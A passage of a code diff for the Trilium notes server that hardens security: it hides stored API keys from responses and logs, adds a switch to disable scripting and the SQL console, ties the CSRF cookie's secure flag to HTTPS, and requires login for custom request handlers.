|
||||
// Options that contain secrets (API keys, tokens, etc.).
|
||||
// These can be written by the client but are never sent back in GET responses.
|
||||
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
|
||||
"openaiApiKey",
|
||||
"anthropicApiKey"
|
||||
]);
|
||||
|
||||
function getOptions() {
|
||||
const optionMap = optionService.getOptionMap();
|
||||
const resultMap: Record<string, string> = {};
|
||||
|
||||
for (const optionName in optionMap) {
|
||||
if (isAllowed(optionName)) {
|
||||
if (isReadable(optionName)) {
|
||||
resultMap[optionName] = optionMap[optionName as OptionNames];
|
||||
}
|
||||
}
|
||||
|
||||
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
|
||||
|
||||
// Expose boolean flags for write-only (secret) options so the client
|
||||
// knows whether a value has been configured without revealing the value.
|
||||
for (const secretOption of WRITE_ONLY_OPTIONS) {
|
||||
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
|
||||
optionMap[secretOption] ? "true" : "false";
|
||||
}
|
||||
// if database is read-only, disable editing in UI by setting 0 here
|
||||
if (config.General.readOnly) {
|
||||
resultMap["autoReadonlySizeText"] = "0";
|
||||
@@ -166,7 +178,10 @@ function update(name: string, value: string) {
|
||||
}
|
||||
|
||||
if (name !== "openNoteContexts") {
|
||||
log.info(`Updating option '${name}' to '${value}'`);
|
||||
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
|
||||
? "[redacted]"
|
||||
: value;
|
||||
log.info(`Updating option '${name}' to '${logValue}'`);
|
||||
}
|
||||
|
||||
optionService.setOption(name as OptionNames, value);
|
||||
@@ -204,13 +219,20 @@ function getSupportedLocales() {
|
||||
return getLocales();
|
||||
}
|
||||
|
||||
function isAllowed(name: string) {
|
||||
/** Check if an option can be read by the client (GET responses). */
|
||||
function isReadable(name: string) {
|
||||
return (ALLOWED_OPTIONS as Set<string>).has(name)
|
||||
|| name.startsWith("keyboardShortcuts")
|
||||
|| name.endsWith("Collapsed")
|
||||
|| name.startsWith("hideArchivedNotes");
|
||||
}
|
||||
|
||||
/** Check if an option can be written by the client (PUT requests). */
|
||||
function isAllowed(name: string) {
|
||||
return isReadable(name)
|
||||
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
|
||||
}
|
||||
|
||||
export default {
|
||||
getOptions,
|
||||
updateOption,
|
||||
|
||||
@@ -7,6 +7,7 @@ import syncService from "../../services/sync.js";
|
||||
import sql from "../../services/sql.js";
|
||||
import type { Request } from "express";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface ScriptBody {
|
||||
script: string;
|
||||
@@ -22,6 +23,7 @@ interface ScriptBody {
|
||||
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
|
||||
// this and does result.then().
|
||||
async function exec(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
try {
|
||||
const body = req.body as ScriptBody;
|
||||
|
||||
@@ -44,6 +46,7 @@ async function exec(req: Request) {
|
||||
}
|
||||
|
||||
function run(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const result = scriptService.executeNote(note, { originEntity: note });
|
||||
@@ -68,6 +71,10 @@ function getBundlesWithLabel(label: string, value?: string) {
|
||||
}
|
||||
|
||||
function getStartupBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
if (req.query.mobile === "true") {
|
||||
return getBundlesWithLabel("run", "mobileStartup");
|
||||
@@ -80,6 +87,10 @@ function getStartupBundles(req: Request) {
|
||||
}
|
||||
|
||||
function getWidgetBundles() {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
return getBundlesWithLabel("widget");
|
||||
} else {
|
||||
@@ -88,6 +99,10 @@ function getWidgetBundles() {
|
||||
}
|
||||
|
||||
function getRelationBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const noteId = req.params.noteId;
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
const relationName = req.params.relationName;
|
||||
@@ -117,6 +132,8 @@ function getRelationBundles(req: Request) {
|
||||
}
|
||||
|
||||
function getBundle(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
const { script, params } = req.body ?? {};
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ import becca from "../../becca/becca.js";
|
||||
import type { Request } from "express";
|
||||
import ValidationError from "../../errors/validation_error.js";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface Table {
|
||||
name: string;
|
||||
@@ -26,6 +27,7 @@ function getSchema() {
|
||||
}
|
||||
|
||||
function execute(req: Request) {
|
||||
assertSqlConsoleEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const content = note.getContent();
|
||||
|
||||
@@ -38,8 +38,8 @@ async function register(app: express.Application) {
|
||||
base: `/${assetUrlFragment}/`
|
||||
});
|
||||
app.use(`/${assetUrlFragment}/`, (req, res, next) => {
|
||||
if (req.url.startsWith("/images/")) {
|
||||
// Images are served as static assets from the server.
|
||||
if (req.url.startsWith("/images/") || req.url.startsWith("/doc_notes/")) {
|
||||
// Images and doc notes are served as static assets from the server.
|
||||
next();
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
import { doubleCsrf } from "csrf-csrf";
|
||||
import sessionSecret from "../services/session_secret.js";
|
||||
import { isElectron } from "../services/utils.js";
|
||||
import config from "../services/config.js";
|
||||
|
||||
const doubleCsrfUtilities = doubleCsrf({
|
||||
getSecret: () => sessionSecret,
|
||||
cookieOptions: {
|
||||
path: "/",
|
||||
secure: false,
|
||||
secure: config.Network.https,
|
||||
sameSite: "strict",
|
||||
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
|
||||
},
|
||||
|
||||
@@ -6,9 +6,15 @@ import sql from "../services/sql.js";
|
||||
import becca from "../becca/becca.js";
|
||||
import type { Request, Response, Router } from "express";
|
||||
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
function handleRequest(req: Request, res: Response) {
|
||||
|
||||
if (!isScriptingEnabled()) {
|
||||
res.status(403).send("Script execution is disabled on this server.");
|
||||
return;
|
||||
}
|
||||
|
||||
// handle path from "*path" route wildcard
|
||||
// in express v4, you could just add
|
||||
// req.params.path + req.params[0], but with v5
|
||||
@@ -64,6 +70,14 @@ function handleRequest(req: Request, res: Response) {
|
||||
if (attr.name === "customRequestHandler") {
|
||||
const note = attr.getNote();
|
||||
|
||||
// Require authentication unless note has #customRequestHandlerPublic label
|
||||
if (!note.hasLabel("customRequestHandlerPublic")) {
|
||||
if (!req.session?.loggedIn) {
|
||||
res.status(401).send("Authentication required for this endpoint.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
|
||||
|
||||
try {
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user